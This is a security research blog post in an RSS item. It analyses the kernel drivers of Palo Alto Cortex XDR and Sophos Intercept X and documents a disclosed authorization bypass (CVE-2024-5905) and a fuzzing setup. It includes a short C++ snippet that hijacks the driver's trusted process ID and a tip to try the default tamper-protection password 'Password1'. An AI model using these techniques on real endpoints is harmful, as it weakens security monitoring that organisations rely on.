</content:encoded><author>Manuel Feifel</author></item><item><title>Attacking EDRs Part 2: Driver Analysis Results</title><link>https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/</guid><description>The second part describes the process and results of the EDR driver security analysis of Palo Alto Cortex using manual analysis and Sophos Intercept X using snapshot fuzzing. Only minor vulnerabilities were identified (CVE-2024-5905).</description><pubDate>Mon, 17 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This blog post is part of a series analyzing attack surface for Endpoint Detection and Response (EDR) solutions. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/&quot;&gt;Part 1&lt;/a&gt; gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2&lt;/a&gt; (&lt;strong&gt;this article&lt;/strong&gt;) describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-&quot;bypass&quot; as well as a detection bypass by early startup.
Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt; describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager&apos;s namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine&quot;&gt;Part 4&lt;/a&gt; describes the fuzzing process of Microsoft Defender&apos;s scanning and emulation engine &lt;code&gt;mpengine.dll&lt;/code&gt;. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;1. Introduction &amp;amp; Summary&lt;/h1&gt;
&lt;p&gt;Following the process outlined in Part 1, there are two candidates with open ACLs for their driver interfaces:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PaloAlto Cortex XDR&lt;/li&gt;
&lt;li&gt;Sophos Intercept X&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The objective was to uncover potential privilege escalation or EDR modification vulnerabilities exploitable by low-privileged attackers. This initial approach did not reveal any serious vulnerabilities but did identify some minor issues, including an authorization bypass for specific IOCTLs in Palo Alto Cortex. To aid other researchers, the subsequent sections detail the analysis process for these drivers.&lt;/p&gt;
&lt;p&gt;We used two different approaches to check for potential vulnerabilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Manual analysis for logic bugs was conducted for two IOCTL-Handler in PaloAlto Cortex XDR.&lt;/li&gt;
&lt;li&gt;Snapshot-Fuzzing was applied on the &lt;code&gt;MessageCallback&lt;/code&gt; function of a &lt;code&gt;FilterConnectionPort&lt;/code&gt; in Sophos Intercept X. This post gives a brief overview, but does not go into detail on how to perform and debug snapshot fuzzing. There will be a post on Snapshot Fuzzing on the InfoGuard Labs Blog in the future.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;2. Palo Alto Cortex XDR&lt;/h1&gt;
&lt;p&gt;There are three open interfaces with dispatch functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;tedrdrv.sys: \\.\PaloEdrControlDevice&lt;/li&gt;
&lt;li&gt;cyvrmtgn.sys: \\.\CyvrMit&lt;/li&gt;
&lt;li&gt;tedrpers-&amp;lt;version&amp;gt;.sys: \\.\PANWEdrPersistentDevice11343&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::MSRC
Cortex is the result of a merger between Cyvera and Traps. Consequently, naming conventions may begin with either &quot;t&quot; or with &quot;cyvr&quot;. Usually such a historical grown product is more likely to have logical vulnerabilities.
:::&lt;/p&gt;
&lt;h2&gt;2.1 \\.\PaloEdrControlDevice&lt;/h2&gt;
&lt;p&gt;The dispatch function handling the Major Function code 0xe (Device IO Control) has ~20 cases (different IOCTLs). This offers a lot of functionality and consequently also attack surface.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./driver_dispatch_io_cortex_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Device IO Control Dispatch Function in Cortex &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;After testing some random IOCTLs from the decompiled code using the tool IOCTLplus, we noticed that most of the IOCTLs respond with &quot;Access Denied&quot;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./IOCTLplus_blocked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; IOCTLplus showing Access denied &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;However, some IOCTLs responded differently&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;0x2260D8&lt;/em&gt; returns 3088 bytes of binary data and does not require an input. We started to search for a client which calls this IOCTL because this should help understanding the data. The source code below shows that these are just statistics which can be printed using the CyTool.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./IOCTLplus_stat.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; IOCTLplus calling 0x2260D8 &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;printf_0(&quot;%s = %I64d\n&quot;, &quot;StatTakeTime&quot;, OutBuffer);
printf_0(&quot;%s = %I64d\n&quot;, &quot;TimeIncrement&quot;, v8);
printf_0(&quot;%s = %I64d\n&quot;, &quot;PerformanceFrequency.QuadPart&quot;, v9);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FsStreamHandleContextCount&quot;, v10);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FsStreamContextCount&quot;, v11);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FsStreamMaxContextCount&quot;, v12);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FileTotalMessagesSent&quot;, v13);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FileTotalRemoteFiles&quot;, v14);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FileTotalLocalFiles&quot;, v15);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.FileNumTimesHashedOnClose&quot;, v16);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.HashStats.NumBytesPurged&quot;, v17);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.HashStats.NumBytesPurgedNewFile&quot;, v18);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.HashStats.TotalNumBytesHashed&quot;, v19);
printf_0(&quot;%s = %I64d\n&quot;, &quot;Providers.File.HashStats.NumHashOperations&quot;, v20);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Usage of returned data by 0x2260D8 from the decompiled code &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;0x2260D0&lt;/em&gt; gives an interesting response (see below). What can be initialized and who can do it?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./ioctlplus_setpid.PNG&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To understand how this function is invoked during startup, we set a breakpoint at the loading of &lt;code&gt;tedrdrv.sys&lt;/code&gt; and subsequently another breakpoint at the dispatch function&apos;s entry point.  This was done to observe which IOCTLs are called by which processes after a Windows restart:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; sxe ld tedrdrv.sys
0: kd&amp;gt; g
nt!DebugService2+0x5:
fffff806`16c01015 cc              int     3
0: kd&amp;gt; bp tedrdrv+7E70 &quot;k;!irp rdx detail&quot; 
0: kd&amp;gt; g

[...]

&amp;gt;[IRP_MJ_DEVICE_CONTROL(e), N/A(0)]
            1  0 ffff970f85974e00 ffff970f8c77c380 00000000-00000000    
             \FileSystem\tedrdrv
                Args: 00000114 00000000 0x2260d0 00000000

3: kd&amp;gt; !thread @$thread 0x1f;
THREAD ffff970f8afd1080  Cid 0f28.11f8  Teb: 0000009c0fa7b000 Win32Thread: ffff970f8c99d720 RUNNING on processor 3
IRP List:
    ffff970f8a672480: (0006,0118) Flags: 00060070  Mdl: 00000000
Not impersonating
DeviceMap                 ffffaa08e5036180
Owning Process            ffff970f8ab97080       Image:         cyserver.exe
Attached Process          N/A            Image:         N/A
Wait Start TickCount      1528           Ticks: 0
Context Switch Count      1700           IdealProcessor: 0             
UserTime                  00:00:03.250
KernelTime                00:00:00.265
Win32 Start Address cysvc!CySvcCommandLineHandler (0x00007ffb40f556c0)
Stack Init ffff9405d02ebc90 Current ffff9405d02eb3f0
Base ffff9405d02ec000 Limit ffff9405d02e6000 Call 0000000000000000
Priority 9 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP          RetAddr               Call Site
ffff9405`d02eb7f8 fffff802`6042a6b5     tedrdrv+0x7e70
ffff9405`d02eb800 fffff802`608164c8     nt!IofCallDriver+0x55
ffff9405`d02eb840 fffff802`608162c7     nt!IopSynchronousServiceTail+0x1a8
ffff9405`d02eb8e0 fffff802`60815646     nt!IopXxxControlFile+0xc67
ffff9405`d02eba20 fffff802`6060aab5     nt!NtDeviceIoControlFile+0x56
ffff9405`d02eba90 00007ffb`5232d1a4     nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff9405`d02ebb00)
0000009c`105fc7f8 00007ffb`51d4572b     ntdll!NtDeviceIoControlFile+0x14
0000009c`105fc800 00007ffb`52005611     KERNELBASE!DeviceIoControl+0x6b
0000009c`105fc870 00007ffb`3fbade9d     KERNEL32!DeviceIoControlImplementation+0x81
0000009c`105fc8c0 00007ffb`41e34900     cysvc!CySvcCommandLineHandler+0x10fe3d
0000009c`105fc8c8 00000000`00000000     cysvc!CySvcCommandLineHandler+0x23968a0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; WinDBG Tracing IOCTLs in tedrdrv.sys &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;This revealed that &lt;em&gt;cyserver.exe&lt;/em&gt; calls &lt;code&gt;0x2260D0&lt;/code&gt; from &lt;em&gt;cysvc.dll&lt;/em&gt;, using a buffer length of 0x114.&lt;/p&gt;
&lt;p&gt;We debugged with WinDBG synced to IDA Pro with ret-sync to see what is happening. The IOCTL &lt;code&gt;0x2260D0&lt;/code&gt; sets the ProcessID which is shown in the dispatch function above. Afterwards IOCTLs which compare this ProcessID can be called from the same process.&lt;/p&gt;
&lt;p&gt;In the following screenshot, the red box hightlights calls made before Cyserver (the user-mode component from Cortex) was stopped and the green box shows calls afterwards. This shows that the ProcessId was successfully set to the one of IOCTLplus (see code below which checks the ProcessId for the IOCTL &lt;code&gt;0x2260DC&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./ioctlplus_setpid_disabled_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Setting the ProcessID used in the dispatch function to the one of IOCTLplus after disabling Cyserver &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;case 0x2260DCu:
       if ( (HANDLE)IoGetRequestorProcessId(a2) != ProcessId )
         goto LABEL_34;
       if ( InputBufferLength &amp;lt; 0x6E )
         goto LABEL_99;
       v6 = IO_handle_2260DC_sub_122F20((__int64)IRP_SystemBuffer);
       goto LABEL_171;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; tedrdrv.sys IOCTL 0x2260DC &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;To confirm this behavior during Windows startup, we compiled a small C++ project that opens the device and invokes this function. This program was initiated as a scheduled task.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hDevice = CreateFile(L&quot;\\\\.\\PaloEdrControlDevice&quot;,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);
[...]
bResult = DeviceIoControl(hDevice,
        0x2260D0,
        buf, 0x114,                       // no input buffer
        buf2, 0x114,                      // output buffer
        &amp;amp;junk,                            // # bytes returned
        (LPOVERLAPPED)NULL);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Code to open the device and call an IOCTL &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;This test was successful and the debugger showed that Cyserver itself got Access Denied errors for some IOCTLs because the ProcessId of the program above was initialized and not the one from Cyserver.&lt;/p&gt;
&lt;p&gt;This suggests that a form of authorization bypass was achieved, concurrently blocking some Cortex functionalities. However, the implications remained unclear, as we could not determine if any harmful actions could be executed using the accessible IOCTLs.  Furthermore, only specific IOCTLs could be bypassed. Others incorporate additional security checks in a separate driver, &lt;code&gt;cyvrlpc.sys&lt;/code&gt;, utilized by multiple drivers. &lt;code&gt;Cyvrlpc.sys&lt;/code&gt; exports shared functionalities; for example, &lt;code&gt;cyvrlpc_35&lt;/code&gt; (exported ordinal) implements supplementary security checks that cannot be circumvented using the aforementioned method.&lt;/p&gt;
&lt;p&gt;This authorization bypass was reported to PaloAlto on September 12, 2023. A fix was published on June 12, 2024 as &lt;a href=&quot;https://security.paloaltonetworks.com/CVE-2024-5905&quot;&gt;CVE-2024-5905&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;After plenty of debugging and reverse engineering, we noticed that Cyvrlpc manages an (AVL) table with all processes. It registers the function &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; and inserts each process in this table. Each entry has certain flags which indicate the permissions of the process for the drivers. All processes from Cortex itself have a certain bit set which no other process has set. This bit is checked in some cyvrlpc.sys functions. The flags are set in diferent functions and the whole process is rather complex. They are also influenced by another driver cyvrmtgn.sys which has an IOCTL for authentication purposes.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./avltable.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; The AVL Table struct from IDA &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: kd&amp;gt;  !rtlavl cyvrlpc+5ECC0
NodeCounter - Node             (Parent,Left,Right)
   00000000 - ffff970f859cc410
(ffff970f859cc4d0,0000000000000000,0000000000000000)
   00000001 - ffff970f859cc4d0
(ffff970f85c70d50,ffff970f859cc410,ffff970f87cc1010)
   00000002 - ffff970f85ae32d0
(ffff970f87cc1010,0000000000000000,0000000000000000)
   [...]

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Part of the AVL Table in WinDBG &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;We did not exactly reverse how each flag is set for each process. However, the one bit which is set for cyserver.exe and other Cortex processes is only set if the SID of the token from the calling process is &quot;S-1-5-18&quot; (SYSTEM) and at the same time the file path matches to one from Cortex such as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\Device\HarddiskVolume4\Program Files\Palo Alto Networks\Traps\cyserver.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./tedrdrv_sid_compare_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Checking the SID from the calling process in cyvrlpc.sys &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./tedrdrv_str_compare1.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Checking the file path of the calling process &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./tedrdrv_str_compare2.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Checking the file path of the calling process &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;At this point we stopped further looking into this and moved on. It would be interesting if the file path checking could be bypassed.&lt;/p&gt;
&lt;h2&gt;2.2 \\.\PANWEdrPersistentDevice11343&lt;/h2&gt;
&lt;p&gt;There is one dispatch function for all Major Function codes. This function is pretty small and does not seem to have any interesting functionality.&lt;/p&gt;
&lt;h2&gt;2.3 \\.\CyvrMit&lt;/h2&gt;
&lt;p&gt;The dispatch function which handles the Major Function code 0xe (Device IO Control) handles more than 35 different IOCTLs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cyvr_driver_1_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Device IO Control Dispatch Function of &lt;code&gt;\\.\CyvrMit&lt;/code&gt; &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The green boxes refer to some kind of access control flags which are set in the &lt;code&gt;DISPATCH_CREATE&lt;/code&gt; (analogue to &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt;) function of this interface. This function is called when a handle to this driver interface is obtained. Additionally, the flags are set by an IOCTL which is used for authentication purposes (CyAuthenticate).&lt;/p&gt;
&lt;p&gt;There is a significant advantage in analyzing this driver interface compared to the one above. The main binary that calls this interface is &lt;em&gt;cyapi.dll&lt;/em&gt;, which is used by &lt;em&gt;cyserver.exe&lt;/em&gt; among others. The exported function names of cyapi.dll are not stripped and most of them directly call an IOCTL of &lt;code&gt;\\.\CyvrMit&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cyapi_auth.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; CyAuthenticate function of cyapi.dll &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;This is very helpful, as IOCTLs can be mapped to meaningful names. At the same time, other important arguments such as the input/output buffers and their length can be looked up. The following table shows some mapped functions that look interesting:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;IOCTL&lt;/th&gt;
&lt;th&gt;Function Name&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x226020&lt;/td&gt;
&lt;td&gt;CyAuthenticate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x226000&lt;/td&gt;
&lt;td&gt;CyEnableMitigationFeature&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x2220E8&lt;/td&gt;
&lt;td&gt;CyStopService&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x2260C4&lt;/td&gt;
&lt;td&gt;CyQueryServerPassword&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x2220E4&lt;/td&gt;
&lt;td&gt;CySetServicePpl&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x222100&lt;/td&gt;
&lt;td&gt;CyCrashService&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x22603C&lt;/td&gt;
&lt;td&gt;CySnapshotProcesses&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Regarding the access to those IOCTLs, it is similar compared to &lt;code&gt;\\.\PaloEdrControlDevice&lt;/code&gt;. Some functions can be called from an arbitrary low privileged user process and some respond with access denied. The authorization model is similar and also relies at least for some part on cyvrlpc.sys. We did not manage to fully understand all aspects of this.&lt;/p&gt;
&lt;p&gt;To observe the sequence of IOCTL calls, we traced all invocations by setting breakpoints at the start and end of the dispatch function. This setup allowed us to log the caller, the input/output buffer lengths, and the contents of these buffers:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3: kd&amp;gt; bp cyvrmtgn+5920 &quot;.echo ##############NEW; !thread @$thread 1f; r
$t1=rdx; r $t1; !irp $t1 detail; .echo In-Buffer:; dps poi($t1+18); db
poi($t1+18);g;&quot;

3: kd&amp;gt; bp cyvrmtgn+5c70 &quot;.echo ##############END; !irp $t1 detail; .echo
Out-Buffer:; dps poi($t1+18); db poi($t1+18);g;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; WinDBG command to trace IOCTLs in dispatch function &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The following is an extract of the output which shows a call to 0x226020 (CyAuthenticate) with the input 0x800. Generally, the first call is always to CyAuthenticate with a different input buffer depending on the required access.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;##############NEW
Args: 00000000 00000010 226020 00000000
--
In-Buffer:
ffffb583`d9c37e00  00 00 00 00 00 00 00 00-00 08 00 00 00 00 00 00

##############END
Out-Buffer:
ffffb583`d9c37e00  00 00 00 00 00 00 00 00-00 08 00 00 00 00 00 00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The question arises: how does the driver determine which input parameters are accepted for which calling process?&lt;/p&gt;
&lt;p&gt;We started to test this with the cytool which calls some of the IOCTLs for example when stopping the services. However, this requires a password which is set globally for the tenant to perform modifications.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
Try the default password &apos;Password1&apos; and you might be lucky&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./cytool_stop.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; CyTool &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Cytool also calls &lt;code&gt;0x226020&lt;/code&gt; after entering the password. Now the Input-Buffer looks different:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Args: 00000000 00000010 0x226020 00000000
In-Buffer:
ffff970f`8ae4bec0  00000046`7df6fae0
ffff970f`8ae4bec8  00007ff6`0001ffff

3: kd&amp;gt; db 00000046`7df6fae0
00000046`7df6fae0  50 00 61 00 73 00 73 00-77 00 6f 00 72 00 64 00
P.a.s.s.w.o.r.d.
00000046`7df6faf0  31 00 00 00 5c 01 00 00-d8 28 b2 51 5c 01 00 00
1...\....(.Q\...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first 8 bytes are always 0x0 if cyserver calls 0x226020. However, if called by the cytool a pointer to the password is sent. This means that there are two different ways how the authentication is handled.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./pw_compare.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; This shows the password check inside cyvrmtng.sys &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;We wanted to know how the password hash is obtained against which the supervisor password is compared. Maybe it is retrieved from a place where it could be manipulated. There is also the function &lt;code&gt;CyQueryServerPassword&lt;/code&gt; (0x2260C4). We ended up at some ALPC-communication over which the hash was sent. We&apos;ve never touched ALPC before and therefore decided to have a look at it. Is it possible to spoof a communication partner to retrieve secret data or to send fake data? See &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;3. Sophos Intercept X&lt;/h1&gt;
&lt;p&gt;The analysis described in Part 1 showed that there are multiple open interfaces:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SophosED.sys
&lt;ul&gt;
&lt;li&gt;Device Driver interfaces
&lt;ul&gt;
&lt;li&gt;\\.\SophosEndpointDefenseScan&lt;/li&gt;
&lt;li&gt;\\.\SophosEndpointDefensePseudoFSScan&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;FilterConnectionPorts
&lt;ul&gt;
&lt;li&gt;&lt;img src=&quot;./sophos_flt.PNG&quot; alt=&quot;sophos_flt&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The device driver interfaces only had very little attack surface which was checked manually. The vast majority of the functionality is implemented in the FilterConnectionPorts.&lt;/p&gt;
&lt;p&gt;For example &lt;code&gt;\SophosEndpointDefenseSyncCommPort&lt;/code&gt; has several different functions. However, they are not that easy to test because most of them require several input parameters which need to be filled with valid data. As time was limited we chose to perform snapshot fuzzing against this interface rather than reverse engineering the code handling the I/O. There is a large call graph from these functions which in turn could be interesting to find common memory corruption bugs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sophos_fuzz_target2.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Xrefs graph from MessageCallback function &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;A tip which helps during the debugging of the main driver (SophosED.sys) is to change the global logging-level with a kernel debugger. The flag can easily be identified in all the debug messages. By default it is set to &quot;2&quot;. If the value is changed to &quot;1&quot; debug messages are printed:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sophos_debug.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Log-Level in SophosED.sys &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sophos_debug2.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Changing the Log-Level in SophosED.sys with WinDbg &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The following screenshot shows the MessageCallback function of the FilterConnectionPort &lt;code&gt;SophosEndpointDefenseSyncCommPort&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sophos_fuzz_target1.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; MessageCallback function of \SophosEndpointDefenseSyncCommPort &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Each of the functions called &quot;subfunc*&quot; again differentiates between multiple cases what results in the Xrefs graph shown above.&lt;/p&gt;
&lt;p&gt;We used WTF as a fuzzer because we&apos;ve already been familiar with this and it fits perfectly to this case. It is pretty fast to set up compared to traditional harnessing or kernel fuzzing.
::github{repo=&quot;0vercl0k/wtf&quot;}&lt;/p&gt;
&lt;p&gt;The high-level procedure is as following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use a HyperV-VM connected to a WinDbg Kernel-Debugger (Other VMs have problems for this setup)&lt;/li&gt;
&lt;li&gt;Make a breakpoint at the target function where the fuzzing should start (Entry of the function in the screenshots above)&lt;/li&gt;
&lt;li&gt;Dump the VM state (memory &amp;amp; registers) with &lt;a href=&quot;https://github.com/yrp604/bdump&quot;&gt;bdump&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Write a fuzzing harness which replaces the input buffer (a2_InputBuffer) and length (a3_InputBufferLength) of the MessageCallback function in the harness function InsertTestcase() (&lt;a href=&quot;https://github.com/0vercl0k/wtf/blob/main/src/wtf/fuzzer_dummy.cc&quot;&gt;template&lt;/a&gt;). The inserted data must not be larger than the allocated memory of these buffers. Optionally, if the input has a specific format, a custom mutator could be implemented.&lt;/li&gt;
&lt;li&gt;Record valid input buffers from the running EDR with breakpoints in the kernel debugger and save them to a file. These can be used as input corpus (seeds) to start the mutations.&lt;/li&gt;
&lt;li&gt;Run fuzzer&lt;/li&gt;
&lt;li&gt;Check, Debug &amp;amp; Improve Fuzzing
&lt;ul&gt;
&lt;li&gt;Check the coverage with IDA Lighthouse to verify if it is working as expected&lt;/li&gt;
&lt;li&gt;Make debug prints in the fuzzing harness by hooking functions with WTF. For example print function arguments.&lt;/li&gt;
&lt;li&gt;Use Tenet to debug certain executions (e.g. to understand a potential crash) &lt;a href=&quot;https://github.com/0vercl0k/wtf?tab=readme-ov-file#generating-tenet-traces&quot;&gt;WTF-Tenet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Virtualize function accessing hardware such as file system access&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The snapshot was created with and without driver-verifier enabled. The following output shows a short run with a small input-length. In general it works and the coverage increases quite good. Also the speed for one Fuzzing-node (one Laptop-core) of almost 1000 exec/s on bochscpu is rather fast but shows that most executions are short and potentially exit early because of invalid input formats.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;..\\..\\src\\build\\RelWithDebInfo\\wtf.exe  master --runs 10000000 --name Sophos --max_len 0x30 --target . --inputs seeds
Seeded with 15016965039757084568
Iterating through the corpus..
Sorting through the 8 entries..
Running server on tcp://localhost:31337..
#0 cov: 0 (+0) corp: 0 (0.0b) exec/s: -nan (1 nodes) lastcov: 3.0s crash: 0 timeout: 0 cr3: 0 uptime: 3.0s
Saving output in .\\outputs\\7167f2dd9d964a3529d55617a73cee2a
Saving output in .\\outputs\\7a0ca97cddb79ec90ece2337d24edc5d
